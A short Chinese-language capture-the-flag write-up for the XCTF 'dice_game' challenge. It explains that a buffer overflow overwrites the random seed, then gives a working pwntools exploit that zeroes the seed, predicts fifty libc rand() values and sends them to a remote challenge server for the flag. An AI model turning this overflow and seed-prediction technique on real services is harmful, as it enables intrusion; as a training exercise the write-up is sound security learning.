XCTF dice_game write up
nc一下给的地址和端口号,大概这个样子。 IDA Pro 看一下源文件 看一下sub_A20()函数,就是比较了你输入的数与随机数是否相同 如果五十次都相同,就输出flag。 我们要做的就是,将seed覆盖掉,并且去预测生成的随机数。 这边就可以看到,buf覆盖0x40位就能覆盖到seed。 exp: from pwn import * from ctypes import * p=remote('111.198.29.45','53746') libc = cdll.LoadLibrary("libc.so.6") p.recv() payload=0x40*"a"+p64(0) p.sendline(payload) a=[] for i in range(50): a.append(libc.rand()%6+1) print(a) for i in a: p.recv() print(p.recv()) p.sendline(str(i)) p.interactive() 喜提flag! 来源: https://www.cnblogs.com/mzstar/p/11727904.html